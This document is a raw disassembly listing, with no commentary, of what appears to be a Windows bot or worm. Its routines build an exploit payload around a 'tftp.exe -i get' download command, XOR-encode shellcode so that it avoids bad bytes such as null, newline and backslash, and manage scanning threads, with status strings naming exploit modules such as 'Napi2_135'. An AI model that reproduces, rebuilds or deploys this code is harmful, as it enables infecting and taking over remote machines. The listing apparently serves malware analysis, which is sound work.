loc_408B7D: ; CODE XREF: sub_408B4C+25j
test eax, eax
jnz short loc_408B8F
add esi, 14h
inc edi
cmp esi, offset off_439FDC
jl short loc_408B58
jmp short loc_408B9D
; ---------------------------------------------------------------------------
loc_408B8F: ; CODE XREF: sub_408B4C+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_439F68[eax*4]
pop ecx
loc_408B9D: ; CODE XREF: sub_408B4C+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_408BB0
push [ebp+arg_0]
call sub_408AA4
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_408BB0: ; CODE XREF: sub_408B4C+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_408B4C endp
; =============== S U B R O U T I N E =======================================
sub_408BB5 proc near ; CODE XREF: sub_408BD5+Ap
; sub_408CAD+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_414BE0
push [esp+8+arg_4]
mov esi, eax
call sub_414BE0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_408BB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408BD5 proc near ; CODE XREF: ___:00408D0Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_408BB5
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_408BF2
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_408BF2: ; CODE XREF: sub_408BD5+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_414BE0
push [ebp+arg_C]
mov esi, eax
call sub_414BE0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43DD54, eax
lea eax, [edi+1]
mov dword_43DD75, eax
lea eax, [edi+17h]
mov dword_43DD6D, eax
pop eax
push 74h
sub eax, edi
push offset dword_43DCF0
push ebx
mov dword_43DD83, eax
call sub_4187B0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_4187B0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_4187B0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_4187B0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_4187B0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_4187B0
add esi, edi
push 38h
add esi, ebx
push offset byte_43DD79
push esi
call sub_4187B0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_408BD5 endp
; =============== S U B R O U T I N E =======================================
sub_408CAD proc near ; CODE XREF: ___:00408CD1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_408BB5
push eax
call sub_408D31
add esp, 0Ch
retn
sub_408CAD endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+10h]
push edi
mov edi, [ebp+14h]
push edi
push ebx
call sub_408CAD
cmp eax, [ebp+0Ch]
pop ecx
pop ecx
ja short loc_408CE4
cmp eax, 0FFFFh
jbe short loc_408CE8
loc_408CE4: ; CODE XREF: ___:00408CDBj
xor eax, eax
jmp short loc_408D2D
; ---------------------------------------------------------------------------
loc_408CE8: ; CODE XREF: ___:00408CE2j
push esi
push edi
push ebx
call sub_408BB5
add eax, 101h
push eax
call sub_414DB0
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_408BB5
pop ecx
pop ecx
push eax
push esi
call sub_408BD5
push eax
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_408D4C
push esi
mov edi, eax
call sub_415820
add esp, 24h
mov eax, edi
pop esi
loc_408D2D: ; CODE XREF: ___:00408CE6j
pop edi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_408D31 proc near ; CODE XREF: sub_408CAD+Ep
; sub_408D4C+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_408D3A
inc ecx
loc_408D3A: ; CODE XREF: sub_408D31+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_408D31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D4C proc near ; CODE XREF: ___:00408D1Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_408D68
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_408D68
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_408D68
cmp byte ptr [ebp+arg_C], 0
jnz short loc_408D6B
loc_408D68: ; CODE XREF: sub_408D4C+8j
; sub_408D4C+Ej ...
inc [ebp+arg_C]
loc_408D6B: ; CODE XREF: sub_408D4C+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_408D93
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_408D8C
cmp al, 0Dh
jz short loc_408D8C
cmp al, 5Ch
jz short loc_408D8C
test al, al
jnz short loc_408D93
loc_408D8C: ; CODE XREF: sub_408D4C+32j
; sub_408D4C+36j ...
add [ebp+arg_C], 100h
loc_408D93: ; CODE XREF: sub_408D4C+28j
; sub_408D4C+3Ej
push [ebp+arg_C]
call sub_408D31
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_408DAB
cmp eax, 0FFFFh
jbe short loc_408DB2
loc_408DAB: ; CODE XREF: sub_408D4C+56j
xor eax, eax
jmp loc_408E50
; ---------------------------------------------------------------------------
loc_408DB2: ; CODE XREF: sub_408D4C+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4D31B4
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_408DE2
loc_408DC6: ; CODE XREF: sub_408D4C+94j
mov al, [edx+edi]
xor al, bl
jz short loc_408DD9
cmp al, 0Ah
jz short loc_408DD9
cmp al, 0Dh
jz short loc_408DD9
cmp al, 5Ch
jnz short loc_408DDD
loc_408DD9: ; CODE XREF: sub_408D4C+7Fj
; sub_408D4C+83j ...
inc bl
xor edx, edx
loc_408DDD: ; CODE XREF: sub_408D4C+8Bj
inc edx
cmp edx, ecx
jb short loc_408DC6
loc_408DE2: ; CODE XREF: sub_408D4C+78j
cmp ecx, esi
mov byte_4D31B4, bl
ja short loc_408E0E
push 15h
push offset loc_43DCD8
push [ebp+arg_0]
mov byte_43DCE5, cl
mov byte_43DCE9, bl
call sub_4187B0
add esp, 0Ch
push 15h
jmp short loc_408E2F
; ---------------------------------------------------------------------------
loc_408E0E: ; CODE XREF: sub_408D4C+9Ej
push 17h
push offset loc_43DCC0
push [ebp+arg_0]
mov word_43DCCE, cx
mov byte_43DCD3, bl
call sub_4187B0
add esp, 0Ch
push 17h
loc_408E2F: ; CODE XREF: sub_408D4C+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_408E4B
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_408E3D: ; CODE XREF: sub_408D4C+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_408E3D
loc_408E4B: ; CODE XREF: sub_408D4C+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_408E50: ; CODE XREF: sub_408D4C+61j
pop esi
leave
retn
sub_408D4C endp
; =============== S U B R O U T I N E =======================================
sub_408E53 proc near ; CODE XREF: ___:00402B07p
; ___:00402B43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_446010
loc_408E5B: ; CODE XREF: sub_408E53+18j
cmp byte ptr [eax], 0
jz short loc_408E6F
add eax, 234h
inc edi
cmp eax, offset dword_4D3010
jl short loc_408E5B
jmp short loc_408EBA
; ---------------------------------------------------------------------------
loc_408E6F: ; CODE XREF: sub_408E53+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_446010[esi]
push eax
call sub_417770
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_446210[esi], eax
and dword_446214[esi], 0
mov eax, [esp+8+arg_8]
and dword_446218[esi], 0
mov dword_44621C[esi], eax
and byte_446228[esi], 0
pop esi
loc_408EBA: ; CODE XREF: sub_408E53+1Aj
mov eax, edi
pop edi
retn
sub_408E53 endp
; ---------------------------------------------------------------------------
word_408EBE dw 8B55h ; DATA XREF: sub_403038+3DB9o
dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
dd 6CE8EC75h, 83000002h, 6A14C4h, 2F70F3E8h, 5E5F9002h
dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 43DDB468h
dd 0C75FF00h, 0E80875FFh, 0FFFF8515h, 3314C483h, 6010BEFFh
dd 3E800044h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
dd 0FE00858Dh, 0C868FFFFh, 500043DDh, 0E26FE8h, 8D016A00h
dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFF84CDh
dd 8124C483h, 234C6h, 0FE814700h, 4D3010h, 5E5FB07Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_408F8E proc near ; CODE XREF: sub_403038+2FFCp
; sub_40901C+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_409016
cmp esi, 400h
jge short loc_409016
imul esi, 234h
push edi
push ebx
push dword_446224[esi]
lea edi, dword_446224[esi]
nop
call near ptr 26D0BAFh
cmp [edi], ebx
jz short loc_408FC6
push 1
pop ebp
loc_408FC6: ; CODE XREF: sub_408F8E+33j
mov [edi], ebx
lea edi, dword_446218[esi]
mov dword_446210[esi], ebx
mov dword_446214[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_408FE7
push eax
call sub_413747
pop ecx
loc_408FE7: ; CODE XREF: sub_408F8E+50j
mov [edi], ebx
lea edi, dword_44621C[esi]
mov byte ptr dword_446010[esi], bl
mov byte_446228[esi], bl
push dword ptr [edi]
call dword_4453E0
lea esi, dword_446220[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4453E0
mov [esi], ebx
pop edi
loc_409016: ; CODE XREF: sub_408F8E+Dj
; sub_408F8E+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_408F8E endp
; =============== S U B R O U T I N E =======================================
sub_40901C proc near ; CODE XREF: sub_401317+18p
; ___:loc_402D44p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_446010
loc_409028: ; CODE XREF: sub_40901C+2Aj
cmp byte ptr [esi], 0
jz short loc_409039
push edi
call sub_408F8E
test eax, eax
pop ecx
jz short loc_409039
inc ebx
loc_409039: ; CODE XREF: sub_40901C+Fj
; sub_40901C+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4D3010
jl short loc_409028
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40901C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40904E proc near ; CODE XREF: sub_403038+2577p
; sub_4090E1+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_446214
loc_409062: ; CODE XREF: sub_40904E+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_409084
test edi, edi
jle short loc_409076
cmp [esi], edi
jz short loc_409076
cmp ebx, edi
jnz short loc_409084
loc_409076: ; CODE XREF: sub_40904E+1Ej
; sub_40904E+22j
push ebx
call sub_408F8E
test eax, eax
pop ecx
jz short loc_409084
inc [ebp+var_4]
loc_409084: ; CODE XREF: sub_40904E+1Aj
; sub_40904E+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4D3214
jl short loc_409062
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40904E endp
; =============== S U B R O U T I N E =======================================
sub_40909B proc near ; CODE XREF: ___:00402B9Bp
; sub_403038+94Cp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_446210
loc_4090A2: ; CODE XREF: sub_40909B+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_4090AB
inc eax
loc_4090AB: ; CODE XREF: sub_40909B+Dj
add ecx, 234h
cmp ecx, offset dword_4D3210
jl short loc_4090A2
retn
sub_40909B endp
; =============== S U B R O U T I N E =======================================
sub_4090BA proc near ; CODE XREF: sub_403038+388Bp
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_446210
loc_4090C4: ; CODE XREF: sub_4090BA+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_4090DD
add ecx, 234h
inc edx
cmp ecx, offset dword_4D3210
jl short loc_4090C4
pop esi
retn
; ---------------------------------------------------------------------------
loc_4090DD: ; CODE XREF: sub_4090BA+10j
mov eax, edx
pop esi
retn
sub_4090BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4090E1 proc near ; CODE XREF: sub_403038+11D8p
; sub_403038+11F6p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_4090FA
push [ebp+arg_1C]
call sub_4174D0
pop ecx
loc_4090FA: ; CODE XREF: sub_4090E1+Ej
push eax
push [ebp+arg_18]
call sub_40904E
pop ecx
test eax, eax
pop ecx
jle short loc_409126
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_4171D0
add esp, 14h
jmp short loc_409140
; ---------------------------------------------------------------------------
loc_409126: ; CODE XREF: sub_4090E1+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_4171D0
add esp, 10h
loc_409140: ; CODE XREF: sub_4090E1+43j
cmp [ebp+arg_C], 0
jnz short loc_409160
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 14h
loc_409160: ; CODE XREF: sub_4090E1+63j
lea eax, [ebp+var_200]
push eax
call sub_410557
pop ecx
leave
retn
sub_4090E1 endp
; =============== S U B R O U T I N E =======================================
sub_40916F proc near ; CODE XREF: sub_402D58+159p
; ___:00409748p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_446224[eax], ecx
mov dword_446210[eax], ecx
mov dword_446214[eax], ecx
mov dword_446218[eax], ecx
mov dword_44621C[eax], ecx
mov dword_446220[eax], ecx
mov byte ptr dword_446010[eax], cl
mov byte_446228[eax], cl
retn
sub_40916F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4091AC proc near ; CODE XREF: sub_403038+5602p
; sub_4092DA+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4091B6: ; CODE XREF: sub_4091AC+68j
mov cl, [esi]
test cl, cl
jz short loc_409216
cmp eax, 1
jnz short loc_409216
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_409216
cmp cl, 2Ah
jz short loc_4091FD
cmp cl, 3Fh
jz short loc_4091E0
cmp cl, 5Bh
jz short loc_4091E5
xor eax, eax
cmp cl, dl
setz al
loc_4091E0: ; CODE XREF: sub_4091AC+26j
inc [ebp+arg_4]
jmp short loc_409210
; ---------------------------------------------------------------------------
loc_4091E5: ; CODE XREF: sub_4091AC+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_409242
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_409210
; ---------------------------------------------------------------------------
loc_4091FD: ; CODE XREF: sub_4091AC+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4092DA
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_409210: ; CODE XREF: sub_4091AC+37j
; sub_4091AC+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4091B6
; ---------------------------------------------------------------------------
loc_409216: ; CODE XREF: sub_4091AC+Ej
; sub_4091AC+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_409226
cmp eax, 1
jnz short loc_40923D
inc esi
mov [ebp+arg_0], esi
jmp short loc_409216
; ---------------------------------------------------------------------------
loc_409226: ; CODE XREF: sub_4091AC+6Dj
cmp eax, 1
jnz short loc_40923D
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40923D
cmp byte ptr [esi], 0
jnz short loc_40923D
push 1
pop eax
jmp short loc_40923F
; ---------------------------------------------------------------------------
loc_40923D: ; CODE XREF: sub_4091AC+72j
; sub_4091AC+7Dj ...
xor eax, eax
loc_40923F: ; CODE XREF: sub_4091AC+8Fj
pop esi
pop ebp
retn
sub_4091AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409242 proc near ; CODE XREF: sub_4091AC+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_409263
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_409263: ; CODE XREF: sub_409242+19j
push ebx
push esi
loc_409265: ; CODE XREF: sub_409242+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_409273
cmp [ebp+var_4], eax
jnz short loc_4092BF
loc_409273: ; CODE XREF: sub_409242+2Aj
test edi, edi
jnz short loc_4092B4
cmp bl, 2Dh
jnz short loc_4092A8
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4092A8
cmp al, 5Dh
jz short loc_4092A8
cmp [ebp+var_4], edi
jnz short loc_4092A8
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4092B4
cmp bl, al
jg short loc_4092B4
push 1
mov [edx], esi
pop edi
jmp short loc_4092B4
; ---------------------------------------------------------------------------
loc_4092A8: ; CODE XREF: sub_409242+38j
; sub_409242+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4092B4
push 1
pop edi
loc_4092B4: ; CODE XREF: sub_409242+33j
; sub_409242+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_409265
; ---------------------------------------------------------------------------
loc_4092BF: ; CODE XREF: sub_409242+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4092CC
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4092CC: ; CODE XREF: sub_409242+82j
cmp edi, eax
jnz short loc_4092D5
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4092D5: ; CODE XREF: sub_409242+8Cj
mov eax, edi
pop edi
leave
retn
sub_409242 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4092DA proc near ; CODE XREF: sub_4091AC+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4092F6: ; CODE XREF: sub_4092DA+3Aj
cmp [eax], bl
jz short loc_409316
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40930B
cmp cl, 2Ah
jnz short loc_409316
cmp cl, 3Fh
jnz short loc_40930E
loc_40930B: ; CODE XREF: sub_4092DA+25j
inc eax
mov [edi], eax
loc_40930E: ; CODE XREF: sub_4092DA+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4092F6
; ---------------------------------------------------------------------------
loc_409316: ; CODE XREF: sub_4092DA+1Ej
; sub_4092DA+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_409321
inc dword ptr [esi]
jmp short loc_409316
; ---------------------------------------------------------------------------
loc_409321: ; CODE XREF: sub_4092DA+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_409342
mov edx, [esi]
cmp [edx], bl
jz short loc_409333
xor eax, eax
jmp short loc_4093A2
; ---------------------------------------------------------------------------
loc_409333: ; CODE XREF: sub_4092DA+53j
cmp cl, bl
jnz short loc_409342
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_409342
push 1
pop eax
jmp short loc_4093A2
; ---------------------------------------------------------------------------
loc_409342: ; CODE XREF: sub_4092DA+4Dj
; sub_4092DA+5Bj ...
push eax
push dword ptr [esi]
call sub_4091AC
pop ecx
test eax, eax
pop ecx
jnz short loc_40938C
loc_409350: ; CODE XREF: sub_4092DA+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_409354: ; CODE XREF: sub_4092DA+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40936C
cmp cl, 5Bh
jz short loc_40936C
cmp dl, bl
jz short loc_40936C
inc eax
mov [edi], eax
jmp short loc_409354
; ---------------------------------------------------------------------------
loc_40936C: ; CODE XREF: sub_4092DA+82j
; sub_4092DA+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_409383
push eax
push dword ptr [esi]
call sub_4091AC
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_409388
; ---------------------------------------------------------------------------
loc_409383: ; CODE XREF: sub_4092DA+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_409388: ; CODE XREF: sub_4092DA+A7j
cmp eax, ebx
jnz short loc_409350
loc_40938C: ; CODE XREF: sub_4092DA+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40939F
mov eax, [esi]
cmp [eax], bl
jnz short loc_40939F
mov [ebp+var_4], 1
loc_40939F: ; CODE XREF: sub_4092DA+B6j
; sub_4092DA+BCj
mov eax, [ebp+var_4]
loc_4093A2: ; CODE XREF: sub_4092DA+57j
; sub_4092DA+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4092DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4093A7 proc near ; CODE XREF: sub_403038+3F48p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_43E2FC
push eax
xor ebx, ebx
call sub_4171D0
cmp dword_43DE38, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_409419
push esi
mov esi, offset dword_43DE40
loc_4093DA: ; CODE XREF: sub_4093A7+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40940F
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_43E31C
push eax
call sub_4171D0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418680
add esp, 1Ch
loc_40940F: ; CODE XREF: sub_4093A7+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_4093DA
pop esi
loc_409419: ; CODE XREF: sub_4093A7+2Bj
push dword_4D3014
call sub_413F6C
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4171D0
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_418680
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
lea eax, [ebp+var_200]
push eax
call sub_410557
add esp, 38h
pop edi
pop ebx
leave
retn
sub_4093A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409475 proc near ; CODE XREF: sub_403038+3F32p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4D5AE0
mov ecx, dword_4D5ADC
push esi
push dword_4D3014
lea esi, [ecx+eax]
call sub_413F6C
push eax
push esi
push dword_4D5AE0
lea eax, [ebp+var_200]
push dword_4D5ADC
push offset unk_43E33C
push eax
call sub_4171D0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
lea eax, [ebp+var_200]
push eax
call sub_410557
add esp, 34h
pop esi
leave
retn
sub_409475 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4094E0 proc near ; CODE XREF: sub_403038+3F1Cp
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_417E20
push edi
lea eax, [ebp+var_800]
push offset dword_43E384
push eax
call sub_4171D0
cmp dword_43DE38, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40954C
push esi
mov esi, offset aNapi2_135 ; "Napi2_135"
loc_409515: ; CODE XREF: sub_4094E0+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_43E3A0
push eax
call sub_4171D0
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_418680
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_409515
pop esi
loc_40954C: ; CODE XREF: sub_4094E0+2Dj
push dword_4D3014
call sub_413F6C
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_4171D0
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_418680
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
lea eax, [ebp+var_800]
push eax
call sub_410557
add esp, 34h
pop edi
leave
retn
sub_4094E0 endp
; ---------------------------------------------------------------------------
word_4095A6 dw 8B55h ; DATA XREF: sub_403038+20A1o
dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h, 0BD8D59F0h
dd 0FFFFFECCh, 80C7A5F3h, 128h, 1, 0FECC858Dh, 0FF50FFFFh
dd 44538815h, 89FF3300h, 3D39F845h, 43DE38h, 89FC7D89h
dd 840F087Dh, 114h, 43DE38BBh
db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------
loc_4095F7: ; CODE XREF: ___:004096FEj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_409C62
add esp, 0Ch
cmp eax, 1
jnz loc_4096F4
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_43E3C0
push eax
call sub_4171D0
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_401445
lea eax, [ebp-3F0h]
push eax
call sub_410557
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_4171D0
lea eax, [ebp-15Ch]
push esi
push eax
call sub_4171D0
add esp, 3Ch
cmp byte ptr [ebp-0A4h], 0
lea eax, [ebp-0A4h]
jnz short loc_40968F
lea eax, [ebp-124h]
loc_40968F: ; CODE XREF: ___:00409687j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_4171D0
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
